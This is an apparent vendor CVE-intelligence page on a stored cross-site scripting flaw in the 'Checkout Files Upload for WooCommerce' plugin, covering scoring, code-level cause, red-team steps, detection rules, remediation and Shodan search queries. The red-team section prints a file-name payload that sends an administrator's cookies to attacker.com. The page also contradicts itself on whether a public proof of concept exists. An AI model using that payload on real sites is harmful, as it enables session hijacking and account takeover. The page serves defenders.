☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp wham logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39520

CVE-2025-39520 Cross-Site Scripting in Wp wham
📅 PUBLISHED: 2025-04-16 13:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39520 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "Checkout Files Upload for WooCommerce" by WP Wham, affecting versions up to and including 2.2.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the web page, which are then stored and executed in the browsers of other users (including administrators) when they view the affected page. The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed this plugin from the WordPress dashboard or via direct download are affected. The lack of a patch means that the supply chain risk is elevated, as no official update is available to remediate the issue. Organizations using this plugin should consider it a high-risk component in their software supply chain and evaluate alternative plugins or implement strict input sanitization measures.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) – The attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): Required (R) – The victim must visit the page containing the malicious payload.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the potential for stored XSS to lead to account takeover or data theft elevates the risk for organizations using this plugin.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. Specifically, the "Checkout Files Upload for WooCommerce" plugin fails to sanitize or escape file upload metadata (such as file names or descriptions) before rendering them in the WooCommerce order details page. An attacker with contributor-level access can upload a file with a malicious payload embedded in the file name or description. When an administrator or other user views the order details, the payload executes in their browser.

Attack Flow:

  1. Attacker logs in as a contributor (or higher) to the WordPress site.
  2. Attacker places an order and uploads a file with a crafted name containing JavaScript (e.g., <script>alert('XSS')</script>.pdf).
  3. The plugin stores the malicious file name in the database.
  4. When an administrator views the order details, the plugin outputs the file name without sanitization.
  5. The JavaScript executes in the administrator's browser, potentially allowing session hijacking, credential theft, or further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.2.0): The plugin likely outputs the file name directly without escaping, e.g.:

echo '<a href="' . $file_url . '">' . $file_name . '</a>';

Patched Code (hypothetical): A proper fix would escape the output using WordPress's built-in functions:

echo '<a href="' . esc_url($file_url) . '">' . esc_html($file_name) . '</a>';

Since no official patch exists, users must implement their own sanitization or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the vulnerable plugin installed and activated.
  • A user account with contributor-level privileges or higher.

Steps:

  1. Log in to the WordPress admin panel as a contributor.
  2. Navigate to the WooCommerce checkout page and place a new order.
  3. During the file upload step, use a tool like Burp Suite to intercept the request and modify the file name to include a malicious payload, e.g.:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.pdf
    
  4. Submit the order.
  5. Wait for an administrator to view the order details. The payload will execute, sending the admin's cookies to the attacker's server.

Note: No public exploit code is available, so this is a theoretical exploitation scenario.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual file names containing HTML or JavaScript characters in WooCommerce orders.
  • Use Web Application Firewall (WAF) rules to block file uploads with suspicious content.
  • Review server logs for requests to /wp-admin/post.php or similar endpoints with unusual parameters.

Prevention:

  • Disable the plugin until a patch is released.
  • Implement a WAF rule to block file names containing <script>, onerror=, or other XSS patterns.
  • Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File Names: File names containing <script>, onerror=, onload=, or other JavaScript event handlers.
  • URL Patterns: /wp-content/uploads/woocommerce_uploads/ followed by suspicious file names.
  • Log Entries: HTTP requests to /wp-admin/admin-ajax.php with parameters containing XSS payloads.
  • Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2025_39520_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce file uploads"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-39520"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: CVE-2025-39520 Stored XSS in WooCommerce File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads with XSS payloads in WooCommerce orders
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=upload_file'
        cs-uri-query|contains|re: '<script|onerror=|onload='
    condition: selection
falsepositives:
    - Legitimate file names containing similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39520 Stored XSS in WooCommerce File Upload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=upload_file"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by the vendor.
  2. Implement a Web Application Firewall (WAF) rule to block file uploads containing XSS payloads.
  3. Review and restrict user roles – ensure only trusted users have contributor-level access.

Long-term Actions:

  1. Monitor the vendor's website for a patched version of the plugin.
  2. Consider replacing the plugin with an alternative that is actively maintained and has a good security track record.
  3. Conduct a security audit of all WordPress plugins and themes to identify similar vulnerabilities.

Workaround: If the plugin cannot be disabled, manually add output escaping to the plugin's code. Locate the file that renders file names (likely in templates/ or includes/ directory) and wrap the output with esc_html() or esc_attr().


Valters IT
Securing Your Digital Frontier

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Checkout Files Upload for WooCommerce"
http.html:"checkout-files-upload-woocommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39520/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.